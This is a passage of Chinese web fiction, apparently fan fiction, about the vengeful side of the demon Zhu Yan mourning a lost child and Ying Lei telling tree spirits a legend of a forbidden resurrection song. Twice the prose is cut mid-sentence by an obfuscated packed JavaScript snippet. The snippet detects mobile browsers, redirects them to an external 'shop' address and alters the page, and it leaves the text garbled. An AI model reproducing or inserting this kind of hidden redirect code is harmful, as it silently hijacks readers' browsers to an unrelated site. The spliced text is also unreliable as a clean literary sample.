小光雾许是感受到了他的亲昵气息,突然地动了一下。 指尖缠绕着的红色戾气,被戾气朱厌化作一朵很漂亮的花。 他又大袖一挥,还陆陆续续变出了很多哄小孩玩耍的小玩意,有小竹马,有小鼗鼓,有草蟋蟀,有纸鸢,有布老虎,还有很多很多。 戾气朱厌将这些小玩意,连带着那朵漂亮的花,一起送进了小牢笼里,飘到了那抹淡到快看不见的光雾身边。 戾气朱厌难得收起自己炸毛凶狠的样子,站在原地,想了又想,尝试学着记忆中看到朱厌往日说话的温柔语气,最终才轻轻的,又温和的,同它说着话—— “小家伙,你可喜欢?送给你。” 眼前的小光雾,很微弱地动了一下,像是回应着自己的喜欢。 “以前,离仑总会给那两个小屁孩做很多玩具。那时我就想着,你许是也喜欢的,就故意在那些玩具上使坏。这样,离仑便又会多做了一份。多出来的那一份,我便偷偷给你留了起来,连朱厌都不知道哦。可惜,等到今日,我才有办法来看你,把它们都送给你玩...” 戾气朱厌试探性往前再靠近了些,这层结界像是形同虚设般,他居然径直走了进去。 眼前的槐鬼之力,也困不住他了。 本来,戾气朱厌体内有离仑的槐鬼封印,与这槐鬼之力相生相成,都对他有禁锢作用。 离仑死了,守护大荒的槐鬼之力开始瓦解消散,他体内的封印也开始摇摇欲坠了,所以他才有办法夺了朱厌的身体逃出来。 可是,今日他逃跑出来,其实不为别的,只是因为,今天是小东西的祭日。 “当初,离仑以为,他是与天同寿的大妖,不死不伤,剥他的精魄就跟剥白菜一样...” 像是想到什么好笑的事,戾气朱厌嘴角微勾了勾,又露出平时那副毒舌傲娇的样子,吐槽着说:“他以为,他是一棵剥不完绿叶子的大白菜吗...” 被槐鬼之力围起来的小光雾,只动了一下,就没再动了。 戾气朱厌一看,眼神更加悲伤了:“离仑剥离了自己一抹精魄,还用槐鬼之力,才勉强强行留住了你。” “可是...”戾气朱厌说着说着,忍不住哽咽起来,“...小家伙,离仑他死了...你看,连这唯一能护住你的往生牢,也都快消失不见了...” “离仑总说,以后还会有小妖怪的。可朱厌说得对,你从来都不是替身...” 很多方面,其实戾气他跟朱厌都很不一样的,却又都一样。 朱厌是承载他的容器,他与朱厌相生相成。他是黑暗面的朱厌,朱厌是光明面的他。 朱厌很喜欢往热闹的地方跑,戾气就很不喜欢。 朱厌很喜欢叽叽喳喳说话 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16537800|183428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说个不停,连在路上碰见一只小妖兽,他都能跟人家聊得火热。 作天作地的戾气反而一点都不喜欢说话,他更喜欢看到不爽就直接开干。好比方才的他,听烦乘黄人偶的啰嗦后直接一言不发就砍掉人偶的手臂。 可在这里,他却很反常地同这小家伙说了很多话。 像是想到了那份令人难过的过往回忆,戾气朱厌越说越难过,眼泪从他那双猩红的眼中滚落。 ... 六万多年前,槐江谷小居的室内传来很激烈的争吵声。 被离仑抓着强压住的朱厌,满脸写满了害怕与恐惧。 朱厌从未怕过什么,唯独这一次,他是真的很害怕。 “离仑离仑!”朱厌拼命抓住离仑伸向自己小腹的手,强行克制住自己激动的情绪,改成轻声细语求着眼前人,可还是难掩声线里的恐惧与害怕,“离仑离仑!” 朱厌死死攥住离仑的手,哭着对他苦苦哀求着:“离仑!你不要这样做!” “离仑...不要这么做!我们留下他好不好...肯定有其他两全其美的办法的...你不要这么做...” 朱厌的后颈被离仑狠狠擒着,拼命挣扎着的他,甚至开始发疯似地对离仑拳打脚踢起来。 可是离仑那张淡漠的脸上,冷漠的表情从头到尾都没有丝毫松动过。 离仑那双幽蓝的眼里是朱厌看不懂的森冷与狠戾,低哑声音带了几分令他不寒而栗的胁迫。蓄满妖力的手,毫不留情地狠狠按上朱厌的小腹:“朱厌!我说了,这个孩子,我不会留他!” “我不要他死...离仑...我想留下他...我们留下他好不好...” 朱厌苦苦哀求着离仑哭得很大声,哭得离仑的心都要碎了。 “啊啊啊啊啊啊啊——” 朱厌撕心裂肺的哀嚎,吓得门外的槐精们都被吓得直躲进土里,根本不敢出来了。 ... 站在往生牢前的人,微微失神的眼里露出了一抹放空的茫然。唯有那双轻颤着的长睫,出卖了他的平静。 戾气朱厌明白,他对离仑的感情,不似朱厌那么般纯粹无暇。 他想,自己对离仑的感情,三分爱七分恨吧,但或许,恨更多吧。 可在某方面,他又觉得,自己与离仑才是更天生般配的一对。 因为,他跟他,都是自私的。 “他们一个个,都想回到过去...”戾气朱厌嘴角露出一个讽刺的笑,“朱厌想救离仑,想救白槐白玖...琉璃想救伽罗...他们没有人记得你...” 戾气朱厌伸出双手,将这抹淡到几乎看不出原样的小光雾,小心翼翼捧在手中。 小光雾微弱地又动了一下,却只是很微弱地动了一下。 戾气朱厌试了好几次,才将自己的戾气注入它体内。 原本淡到几乎快消失的小光雾,渐渐露出一个很模糊的轮廓,很小很小,连半个巴掌的大小都不到。 依稀可见,是一只小白猿。 “回到过去...”一颗眼泪从戾气朱厌左眼落下,他压着发酸难受的嗓子,小声同它说着,“我就只想救你...” “可惜...还没来得及想好给你起什么名字...” 许是他的悲伤太过极致了,被他小心翼翼捧在手里的小小白猿,感受到后竭尽全力伸了个小懒腰,像是在回应他的话。 “这么一看,你更像是一棵小豆芽菜似的...要不,我就叫你‘小豆芽’,你可喜欢呢...” 他话还说完,原本被他注入戾气才现出模糊轮廓的小小白猿,小小的身体突然发出一阵若隐若现的光斑。 那是大荒妖族死去前的征兆。 戾气朱厌一愣,悲伤的眼里,眼神从一开始的错愕和震惊,到最后逐渐淡然和平静。 眼含泪光的他,忍不住伸指,小心翼翼地摸了摸小东西的脑袋,哽咽着开口:“小家伙...我们...好像要真正的告别了...” 戾气朱厌微微俯身低头,很温柔地亲了他一下,小声同他道着别:“再见了,我的小豆芽...” 话音刚落,被他捧在手中的小小白猿,模糊的轮廓开始消散,连带眼前这一座守护着小小往生牢,也开始逐一风化消散,化作点点星斑... 戾气朱厌像是在跟他说话,又好似在自言自语着—— “以前,离仑总爱给他带很多奇奇怪怪的人间话本。其实,我也很喜欢的...” “那些话本上说,在凡间,那些凡人会为死去的家人,点一盏祈福的长明灯,焚香烧纸,祭亡灵,哀思悼念...” 戾气朱厌用戾气变出了很多冥纸,把给他专门留给小豆芽的孩童小玩具,连带着方才的那朵花,也一并用火给烧了干净,只给自己留下了一只草蟋蟀。 一阵风突然吹来,将眼前的星斑火光,吹得漫天纷飞。 风抚过他指尖的那一瞬间,戾气朱厌身子一僵。 禁地这里,万物静止,没有得到允许,无人可进,无物可出。 怎么会有风呢? 戾气朱厌想着想着,眼眶又忍不住红了起来。 烧这些冥纸和小玩意时吹来的这阵风,他就当作是,死去的小豆芽回来与他好好告别了... 满天摇曳的火光不是重逢的桥,而是他不为人知的思念。 那些话本写了,死亡不是真正的终点,被人遗忘地抛弃了,才是。 这一处不为人知的禁地里,一望无际的瑶河,被这带着火光的灰烬,分割成明与暗。 一片火光照映下,蓄满了他看不见的思念与悲伤。 魑魅沙漏将戾气朱厌带离了这里,只留下了一道落寞的身影... 42.挽歌之术 日落黄昏,天边泛着最后一抹橘黄,宣告着太阳的西落。 戾气朱厌让魑魅沙漏,把自己带回了槐江谷。 在它又一次发出微微金光之时,戾气朱厌意味深长看了沙漏一眼后,挥袖抹掉了它的使用痕迹。 这样,那个老不死的东西就无法真正窥探到他方才去向踪迹了。 只一会,魑魅沙漏便在原地消失得一干二净了。 回到小居,原本喧闹的庭院,此刻针落可闻。 下午他的那番动作,英招不仅带走了琉璃,还带走了所有槐精们。 戾气朱厌心里有些落寞,却依旧逞强地假装出一幅根本不在乎的模样。 坐在台阶上的戾气朱厌,他从怀里掏出那只送出去又被他收回来的枯黄草蟋蟀,还有一个略微褪色的小荷包。 荷包上面的刺绣,绣得东倒西歪的。 打开的小荷包里,是一枚些许变色的长命锁。 望着手里这枚小小的长命锁,戾气朱厌第一次露出了失魂落魄的神情。 第一颗透明水珠落在了那只枯黄的草蟋蟀上,紧接着,第二颗透明水珠,落在了那枚些许变色的长命锁上。 荒芜孤凉的昆仑山窟里,一道白色身影缓缓走出,蹲身捡拾起地上散落成两半的人偶碎块。 指尖不断来回摩挲着手中的人偶碎块,乘黄露出一个意味不明的阴笑:“几万年不见了,朱厌,你还是跟以前一样,没礼貌...不过...” 乘黄一把将手中的人偶碎片直接捏成粉末,木屑粉末从他指缝漏下,隐约可见到他那张依旧青白得不似活人的俊脸。 一阵有条不紊的鼓声,从乘黄的身后陆陆续续传来,接着一枚泛着诡异红光的鼗鼓摇动着从天而降—— 鼓面镌满古槐一族族徽的鼗鼓,本该被幽蓝光辉包裹的鼓,此刻摇动着的鼓身,一整个都被诡异骇人的红光充斥着。 被乘黄强行带走的鼗鼓,不停摇动着的鼓发出的无形鼓浪,也变成了无数猩红鼓线。 当无数红线汇集在一起,最后落地变成了一个眼冒红光,神情呆滞,嘴泛冷笑的‘离仑’,乖乖的站在乘黄背后。 乘黄闭上了双眼,深呼吸了一下,漫不经心对着身后人说:“算算时间,我们,好像是应该见面了...朱厌...我相信,你跟我一样,也很期待的吧...” 令人不寒而栗的是,乘黄每说出一个字,他身后那个‘离仑’也跟他说出一模一样的字,甚至连带着脸上的笑容,都僵硬得跟乘黄像是一个模子刻印出来的一样。 戾气挣开封印出逃,在收到英招山海寸镜的传信后,英磊就忙于奔波找人。可他跑遍了整个大荒,还是没有发现任何关于戾气朱厌的踪影。 最后,他抱着死马当做活马医的心态,又跑回了槐江谷小居。 谁知道,还真的是被他瞎猫碰上死耗子,真的被他在小居那里逮到了戾气朱厌。 等他赶到时,小居的卧室内,灯火通明,一片安静。 英磊放轻了动作,放慢了脚步,缓缓推开朱厌卧室的那扇门。 灯火摇曳下,烛影憧憧,一盏橘黄油灯将床上睡着过去的人影拉得长长的。 英磊端着油灯,走近了过去,才发现床上睡过去的人将自己蜷缩成一团。 烛影打照下的脸,依旧美得惊心动魄,让人一言难忘。只是他眼眶处残留的清透,眼泪滚落后残留下的濡湿水痕,让人看了格外心疼。那一双紧锁的双眉,更是倾诉着他睡得有多么地不安稳。 望着蜷缩成一团,英磊不由想起以前看过的话本上好似说过,这种蜷缩着的睡姿,是极为缺乏安全感的表现。 对于戾气,忽略他那暴戾得喜怒无常的性子,英磊是觉得他怪可怜的。 在他眼里,戾气就像是一个没有长大的小孩,藏满了朱厌更加明显的喜怒哀乐。 朱厌的悲悯慈善,更衬托出戾气阴晴不定的喜怒无常,还有随心所欲的噬杀暴戾。 他是朱厌,又不全是朱厌。 端着小油灯走过去的英磊,看着熟睡中的朱厌,眼底涌动起一丝复杂的情绪。 只见他抬起的手,伸出后又缩了回去。犹豫片刻后,最终还是选择伸手,泛着微凉的指尖,抹掉了朱厌眼角那碍人的泪渍。 在英磊准备离去前,在看到放在桌面的东西后,他忽而停下了脚步。 是一只枯黄的草蟋蟀,旁边发旧褪色的荷包上放了一枚微微变色的长命锁。 英磊视线落到那长命锁时倒是惹得他一愣,好似被那小物件,勾起了尘封太久的远久记忆。 英磊拿起那长命锁,细细琢磨起来,那双棕色眼眸中闪过许多情绪,有错愕,有惊喜,有难过,有悲伤,还有些许惋惜。 他想起来了。 这长命锁,是朱厌自己亲手做的礼物,送给那个孩子的礼物。 当时的朱厌,经常偷偷瞒着英招跟离仑跑去人间,就为了拜师那手艺极好的工匠,教自己打银制锁。 朱厌不知从哪儿听说了,刚出生的小孩都容易生病,佩戴这长命锁,祛灾祈福,锁命长寿,平安健康,能保娃娃顺利长大,无病无灾。 现在想想,肯定又是离仑给他带的那些乱七八糟的凡间话本写的。 看那么多,都看坏脑子了。 大妖的孩子,本就寿命绵长,福泽无边,根本不像凡间孩童那般,体弱多病,易病易逝。 这长命锁,不过就是一个凡人讨取好噱头的说法而已。 朱厌明明自己是无所不能的大妖怪,可却把这哄人说法当真,还一整天跑来跑去,一会大荒一会人间的瞎忙活个不停。 回忆起这桩过往,英磊又不免伤感起来。 想起那个还未来得及出世的孩子,那个带满了离仑跟朱厌无限期待的娃娃,最终却落了个灰飞烟灭的悲惨下场。 以前,他不小心提到这个孩子时,离仑总会一脸盛怒。只是久而久之,离仑也看似释怀,慢慢变得平静下来了。 有些事情,只能交给时间。 时间,便是最好的治疗师。 在无限岁月的冲刷下,伤疤会好的,痛苦也会忘的。而活着的人,也迟早会对离去的人逐渐释怀。 可是,英磊他知道,这个娃娃,是朱厌心头永远愈合不了的伤疤,更是离仑内心深处永远解不开的心结。 如果真的彻底放下了,他们两个人当初就不会因为这件事情,冷战了足足八百年。 不是八年,是八百年。 那八百年里,槐江谷都处于一个极为低迷的氛围里,英磊更是看到了一个十分可怕的离仑。 想到那八百年里的离仑,英磊就瘆得慌。 “唉,真是伤心之物...”英磊深深叹了一口气,没好气一说,“你这长命锁呀...我就帮你带走了...省得你...那凡人说的啥,哦对,‘触景生情’。你一会醒来瞧见了,可得‘触物生情’了...” 英磊把长命锁装进那个破旧的小荷包揣在怀里,回头再看了一眼床上睡熟中的人,确定朱厌依旧熟睡中,他便离开了小居。 忙活了一整天的英磊,身心疲惫的回到了昆仑山。 昆仑小居里,一群绿油油的小豆丁槐精们围在一张小木桌前,吃着英招给他们做的饭,嘴里还依旧叽叽喳喳互相说个不停。 “今日的妖后大人,怪怪的,好凶哦...”槐精一号一边扒拉着饭碗,一边嘴里嚼着大米饭嘀嘀咕着。 “嗯。我也觉得。”正在努力跟筷子搏斗的槐精二号接过话,“今日,凶凶又怪怪的妖后大人,还揍了那白娘子耶...” “那...白娘子他醒了吗?”槐精三号露出缺了一大角的小乳牙,将掉落在干净木桌上的米粒捡起来,慢吞吞吃掉,口齿不清反问道,“我还在等白娘子变人呢...” “不知道呢,英招祖祖让风生姥姥治着呢。”槐精四号一口喝掉了大海碗里的汤,“好喝,还想再喝一碗...” 英磊一进门,就听到了槐精们的对话,还有看到他们跟一只只觅食的小仓鼠一一样吃得格外香,看得他当下就饥肠辘辘了。 听到槐精的话,走了进去的英磊,顺手接过槐精手上的大海碗,给他又舀了一大碗热汤,还很贴心说着:“小家伙,晚上吃这么多,很容易不舒服的。” “英磊山神大人,我们要吃多点,才可以长大哦~长大了才可以保护妖后大人!” 小豆丁槐精抬起些许乱糟糟的头脑冲英磊一笑,那颗缺了一角的小乳牙一下子就露出来了。 看见他们乱糟糟的头发,英磊本想着不管,可是还是看不下去,最后趁着他们一边吃饭一边给他们梳着头发。 一个埋头正努力扒拉着饭的槐精,忽然抬头,一张沾满了无数白米粒的小肥脸上,一双大大的眼睛带着求疑的好奇,很认真一问:“小山神大人,我们妖怪死后,会去哪儿呢?” 正忙着给槐精们弄头发的英磊,嘴里咬着个皮绳,口齿不清反问:“干嘛突然之间问这个呀?” 可是,还没有等到槐精回答,他倒是自个先开口说个不停:“我们妖啊,没有魂魄,不像人死后,会去冥府。” 谁知,他这话刚一说出,就被诸多槐精们齐齐连声反驳了:“你说得不对。” “哪儿不对了?你们给我说说看。” 一个槐精顶着一脸白米粒,气嘟嘟一说:“我们都看了,妖后大人房里的那些凡间话本写了,妖死后,会变成天上的日月星辰,还可以变成风花雪月,继续陪在我们爱的妖身边。” 英磊实在看不下去了,一边伸手将他脸上的米粒摘掉,一边很认真教育着他们:“呃...那是你们王,从凡间买来哄你们妖后大人的伎俩,小孩子家家,别乱看些有的没的。” 英磊起身,像是分包子一样,伸手朝他们一指挥:“来,吃饱了的,往这边站一排,没吃饱的赶紧吃。” 英磊吩咐完就出去了,等到回来时,手上俨然端了一旁热水跟一条干净的帕子回来。 一旁吃饱饭的诸多槐精们已经按照吩咐排队站好,等着他。 英磊打湿帕子,拧干后给小豆丁们一个个擦脸擦嘴,嘴里依旧碎碎念着方才他们的话语:“妖,没有魂魄,死了就是死了。” 一个正被他擦着脸的槐精,一听到他的话,不善表达的小东西直接气得小肥脸通红,眼睛瞪得圆圆的,直勾勾盯着他看,像是要把他看穿一样。 英磊看到后,不由拧了拧他的小鼻子。 小东西的,牙都还没长齐呢,这气势就像是要跟他叫板似的。 槐精气得跟只小河豚一样,让英磊忍不住对他这圆嘟嘟的小肥脸,开始伸出魔爪。 “你~胡~说~山~神~大~人~你~骗~人~” 槐精的脸被英磊蹂.躏得像块皱巴巴的面团,小嘴巴却依旧不服气跟他叫板着。 英磊知道,这些小东西,他们看完那些人族攥写的凡间话本后,对生死之事上还带有几分天真的想法,心中略有几分不忍,便忍不住多嘴了几句。 “虽然,我们妖,没有魂魄。可是呢,死去的妖,如若有爱人,他们的爱人,会唱颂挽歌。” 槐精们一听,方才对英磊的话颇有不爽着,却突然转变了态度,变得格外起劲,一个个涌向了他,硬生生把英磊直接给扑倒在地了。 英磊挣扎了好一番,才把自己从槐精群中像拔萝卜般把自己拔了出来。 槐精们围着他一个个追着问:“山神大人,挽歌是什么呀?” 英磊顶着一个鸡窝头爬了起来,没好气地说:“挽歌啊,那是一种迎接亡灵,招魂结魄的颂歌。” 随着他话一出,槐精们突然很自觉地一个个在他身边坐下,很认真听着他说话。 英磊一边捣鼓着自己被槐精们弄得乱糟糟的头发,一边给他们耐着性子解释着:“上古传说,万年霜降,阴时阴辰,满月之日,唱颂挽歌。强大的爱意,会恩赐挽歌复生的力量。” “但你们是知道的,招魂结魄,死而复生这种都属于邪术,是需要唱颂之人付出极大代价的。” 槐精们不懂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16559069|183428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么是‘代价’,但也知道,这个词语一听就是不好的意思。 他们连着追问道:“需要什么代价呢?” 英磊想了好一会,才掰着手指,一个个细说开:“我记得是,一颗失忆泪,二钱欢喜泪,三分苦海泪,四杯悔恨泪,五寸相思泪,六盅情欲泪,七尺别离泪,八道痴心泪,汇成魂香。” “然后呢?” “然后呀,这唱颂之人,还需得用自身的一身修为,燃烧魂香,再以九滴心头血为路引,一魂一魄为掌灯。这样呢,跨越了阴阳两界的冥府之路,就会被打开,爱人的亡灵便可归来。” 一个槐精突然眼睛一亮,像是想到好主意一样:“山神大人,你说,如果这个传说,是真的话,那我们王不就可以回来了吗?” “这样,妖后大人就不会再伤心,也不会心情不好了,槐江谷就不会老是下雪下雨了,枯萎的万物,也可以复苏。” 此话一出,倒是把英磊彻底难倒了,他露出一个很为难的神情:“呃...怎么说呢?” “这也是很古老很古老的传说,没人知道是真是假。至今为止,四海八荒之内,从未有人成功过。” 槐精们一听,顿时个个像漏了气的小皮球,无精打采的。 “不过呢...” 被他吊着胃口的槐精们刚泄完气,这会一听又满血复活,一脸期待望着他:“不过什么呢?” 英磊很认真想了一下,眼里突然一亮:“我以前倒是听我爷爷说过,南海鲛人一族,有人试过这挽歌之术。 槐精们迫不及待继续追着问,丝毫不给英磊歇气的机会:“结果呢?怎么样怎么样?那个人,他成功了吗?” 英磊摇了摇头:“听我爷爷说,在鸿蒙时期,戾气初生,大开杀戒,屠戮人间,致使九天十地,四海八荒之内,血流成河。” “戾气所到之处,更是生灵涂炭,冤魂不散。尸骨怨念侵蚀和污染了南海鲛人族的圣湖。鲛人族天生拥有以水净化的力量,因此,从未踏出鲛人族的海皇殿下浮月,最终决定,亲自踏入凡间,渡冤魂,洗怨念。” “浮月花了足足好几百年,才将凡间的戾气怨念净化。准备回鲛人族的他,却遇到了在仙魔大战中重伤昏迷的战神明苏。一向悲悯慈善的浮月,便将那战神给救了下来。” “浮月照顾了明苏很久,两人在春去秋来的朝夕相处中,日久生情。” 槐精们眼睛一亮,好奇一问:“他们跟王和妖后大人一样,爱上了彼此吗?” 英磊点了点头:“嗯。爱上了。” “如你们所料,鲛人族的海皇殿下浮月跟九重天上的战神明苏,就跟你们在朱厌房间里看到的那些情爱话本一样,他们两人,相爱了。” 英磊说到一半,突然停了下来:“可是呢...” 正听着故事听得入迷的槐精们,个个瞬间学着他的语气,一个比一个大声说着:“可是呢!” 英磊被他们这番举动,莫名其妙逗得笑出了声,有些嫌弃道:“小学人精,尽学些有的没的。” “可是呢,神仙动情,三界不宁。”英磊脸色突然变得严肃起来,“其实,浮月不仅是这鲛人族的海皇殿下,他还是鲛人族身居高位的长老。可身份再高也没用,他终究还是妖。而明苏呢,是九重天上的神族,神族的地位,甚至比仙族还要高。” “神妖相爱,天道自是不允。” “天道便以九重天上的仙规天条,强行召唤明苏回九重天,将他关押进无妄海里,派了十万天兵天将,轮流镇守和看管着。” “后来啊,你们应该也都听过了那场诛魔大战吧。” 被英磊突然点到名的槐精们,点了点头。 先前他们跑去问机柏木爷爷关于王祭日之事,机柏木爷爷也跟他们说过那一场诛魔大战。 “那场诛魔大战,其实四海八荒的各族都知道,就是九重天以‘屠魔护仙’之名蓄意发起的大战。那一场大战中,明苏重伤昏迷,浮月强行与他结契,闯入了他的识海,甚至不惜断尾取魂,只为救他。可惜...明苏最后还是战死于九重天算计的那场诛魔大战之中。” “明苏死后,浮月痛不欲生,便前往鬼域,去那九幽冥川寻找明苏的残魂。可是你们知道,神族跟我们妖族一样,天生无魂无魄,根本就不可能有残魂一说。” “后来,浮月不知从何处得到一高人指点,告诉他,上古禁术之一的挽歌之术,可助他打开冥府之路,为他那战死疆场的亡灵爱人,招魂接魄。” “那...”槐精们一脸难过,“那位鲛人长老,不,那位鲛人殿下,最后有将他爱人的魂魄召唤回来,让他死而复生吗?” 英磊顶着槐精们满眼期待的压力,一口给出了否定答案:“当然没有啦。” “不知是何缘由,浮月唱颂的亡魂挽歌,最后招魂回来的,却是个很恐怖的怪物。那个怪物,最后血洗和屠戮了鲛人一脉,浮月死生不明,不知去向。自此,鲛人族便一蹶不振,修养了足足上万年才得以衍生存活。” 英磊深深叹了一口气:“所以呢,像挽歌之术,死生之术这种上古禁术,之所以被禁修,是有一定道理的,你都不知道招魂待会招回来的,是什么怪物。” “山神大人,爱就是爱呀,为什么九重天上的神仙要阻止明苏跟浮月相爱呢?” “好问题。其实,我也不明白。难道是凡人说的‘无情则刚’???” 英磊想了又想,还是想不出原因。 与此同时,槐江谷小居那边,一阵断断续续的鼓声从远方传来。 紧接着,伴随着诡异的鼓声,一股不知从何处涌出来的诡异白雾,将整个槐江谷里里外外都围了个水泄不通。 断断续续的鼓声之中,一道歌声从远方若隐若现传入槐江谷。 “我的心上人啊,是我初见,便念之不忘的心上人啊...” “我爱的意中人啊,是我初见,便念之不忘的心上人啊...” 幽幽歌声之中,隐约可听得出,那是一道跟朱厌极为相似的声音。 43.傀儡红线 古老的文字在吟唱之中,逐渐化为唱颂召唤的挽歌。 “我的心上人啊,是我初见,便念之不忘的心上人啊...” “我爱的意中人啊,是我初见,便念之不忘的心上人啊...” ... 传来的幽幽歌声,这道与朱厌几乎一模一样的声音,飘荡在被诡异白雾深深包围住的槐江谷上空。 美妙悠扬的歌声之中,伴随着若隐若现的厚重鼓声,吟唱者的声音,轻柔和缓,却莫名自带了一种令人安定的力量,宛若冬雪初融时细细流淌的雪水,又似初春复苏时破土而出的万物,将槐江谷此刻的诡异,冲散了几分。 黑空泛白,银月升起,缺月盈满,霜华落地。 当第一抹满月的光华,从天而降,落照到槐江谷小居大门的那一刻,好端端的大门突然变成一扇诡异大门。 是一扇一半哭一半笑的鬼门。 大门打开的瞬间,石脸鬼像落地化作左右各一名看守鬼将。 一条看不到尽头,只余白雾的大道,映入眼帘。 断断续续的说话声由远及近,越发清晰,愣是将卧房内睡熟中的人给吵醒了。 朱厌迷迷糊糊睁开了眼,起了身,下了床,双手下意识捂住头痛欲裂的脑袋。 门外传来的歌声与鼓声,越来越响。 太吵了,吵得他脑袋仿佛下一秒就要爆开了。 ... “阿厌,你怎么老爱帮着人类说话?” “人间嘈杂闹腾,有什么好的?” “可我想去看花灯,你陪我去吗?” “好吧,我陪你...” “那我们现在就启程,可好?” “好。都听你的。” ... “谁在说话?”待到听清内容一二后的朱厌,恍惚一愣,连忙起身跑了出去。 穿过了一处又一处,拐过了一角又一角,兜兜转转,跌跌撞撞地跑向庭院。 跑得太匆忙太狼狈了,朱厌连鞋都没穿。 衣冠略微不整的朱厌,嘴里还不忘念念叨叨着:“是离仑,是我的离仑。” 浮在半空之中摇动着的鼗鼓,发出诡异的红光。 只不过,响着响着,漂浮在半空的鼗鼓,突然就自己停止了摇动。而天空,也接着下起了鹅毛大雪,白色的雪夹着诡异的黑气,从天而降。 当沾到黑气的白雪,落到了停止摇动的鼗鼓上面时,停下来的鼓又开始摇动,响了起来。 伴随着鼓的这一响,一声更大的巨响,嘭的一声落下,直接盖过了低沉的鼓点。 天空的满月变成血月,满院银白月光变成嗜血邪祟的猩红,照在槐江谷小居内,院中那一条原本望不到尽头的大道,莫名其妙地变成了昆仑神山的神门。 昆仑神门缓缓打开,门后的景象是本该各处天方地海的大荒槐江谷小居、昆仑神山和九幽鬼域三处,此时此刻,却被一股未知力量给强行直接打通了。 本该只跨越阴阳两界的冥府之路,也一路铺通了槐江谷、昆仑神山和九幽鬼域三处位置。连那隶属于鬼域的奈何亡桥,在这悠扬绵长的挽歌之中,再次落下。 鼓声一响,红线飘飘,一道身影,先是踏上了布满骷髅和尸骨残骸的奈何亡桥。 那人再往前走多一步,脚下踏着的奈何亡桥,便一秒之间变成了昆仑神山的雪地台阶。 站在桥头这边的朱厌,双眼直勾勾盯着眼前无端出现在槐江谷小居内的奈何亡桥,眼里除了错愕,更多的是震惊。 “这...这不是九幽鬼域的奈何亡桥吗...” 一些奇怪对话跟零碎画面,随着奈何亡桥落入谷内,一股脑接踵涌入朱厌脑海里,让他的头,一时之间又疼得慌,直接将那道平日都深藏起来的眉心妖印,给逼得浮现了出来。 ... 脑海中,朱厌看到一道熟悉的身影,站在下着漫天大雪却遍脚都是骷髅骸骨的高山上。 那是九幽鬼域的鬼幽山。 盯着九幽冥镜目不转睛的人,水青色的眼睛顿然一亮,不禁歪头一笑。 “有趣。一个本该无情无义的妖,居然修出七情六欲,嗔痴爱恨。可真有意思...” “他送我的这面九幽冥镜,可是能照出来者的前尘旧事。” “让我来看看,你到底是何人?” “又是谁...让你生出如此强烈的嗔痴爱恨...” “把自己搞成这副模样,也不怕回去吓到人。” “不对!我差点忘了,现在的他,可只有三魂的意识!” ... 是陌离的声音,还有他的脸。 以为是因头疼而出现幻觉的朱厌,使劲地晃了晃自己发疼的脑袋。可是,他越是抗拒越是挣扎,那头疼之症更趋有加重之势。 这一次,他头疼的程度对比以往的头疼。可又完全不一样,更像是有什么东西在脑海里破土而出,疼得他根本连站都站不稳了,直接坐在了冰冷的地面上。 ... 白茫茫的一片中,好多黑影围着他一直转,一直问。 “欸,你们看你们看!这不是之前那个人吗?” “又是他又是他!他怎么又来了?” “喂,你还在找他吗?这么多年了还没找到他吗?” ... 朱厌看到衣衫褴褛的自己,闯入了九幽鬼域,甚至还强行打开冥府之路。 朱厌不愿意相信,直接一口否定那是他自己:“不对!还是不对!” 他本想继续否定自己的所看所听,乃至所忆。可却在下一刻,无比清晰地听到跟看到了记忆中的自己,追着九幽鬼域的小鬼们,锲而不舍地问了又问。 “喂,你还在找他吗?这么多年了,你还没找到他吗?” “谁?” “就是那个,即便你踏入旧尘忘河无数次都忘不了的那个人呀。” “他是谁?” ... 朱厌还没等到对方给他的回复,脑海里的画面一换,变成了一道略微瘦削的身影。 他看到,那人血肉模糊地跋涉走进了满是鬼魂游荡的九幽冥川。 ... “看,又是他,他在找谁呢?” “不知道,过去问问。” “喂,你是在找谁呢?” “我...我在找...找...找谁呢...” “我好像...在找...”想不起来的他,伸起了自己血肉模糊的双手,他的掌心用戾气刻了两个字,“...对,离仑...是离仑..” “对的,我在找离仑...你们...可有看到...我的离仑吗?” “他对你很重要吗?” ... 朱厌脑海的画面又变了,在一片荒芜无尽头的冰天雪地之中,他看到自己,走过了千山,迈过了万水,踏遍了九天十地,寻遍了四海八荒。 “一万年了,你还在找他吗?” “原来,我在找人。” “那你要找谁呢?” “不知道。我早就不记得了。” “那你还记得什么呢?” “那个人...他...喜阴...” “要不,你去极寒之地找找看吧。” ... 脑海的记忆开始错乱,让朱厌愈发分不清虚实真伪。 无休狂风吹散了朱厌的一头黑发,他看见自己站在一条深不见底,长不见尽头的死水长河前。 “都两万年了,你还不放弃吗?” “喂,你都踏入这河成千上万次了,还忘不了他吗?” “我在找人。” “可是,你们知道我在找谁吗?” “那个人,他是谁?” “你跟我们说,你在找离仑呀。” “离仑?” “离仑...他是谁呢?” ... 朱厌被头疼折腾得正游离于崩溃边缘,他开始变得暴躁起来,连脸色都变得不对劲起来:“什么乱七八糟的东西?” 朱厌还未能在一番痛楚中反应过来,便又听到了一道声音。 不同于记忆,而是真真正正的声音。 “可是,你知道吗?世间一切,万法自然。我离仑,从来不躲,从来不退。” 是离仑的声音。 可是,朱厌并没有看到离仑,反而先听到了藏在浓厚白雾中两道交织又断续传来的孩童声音。 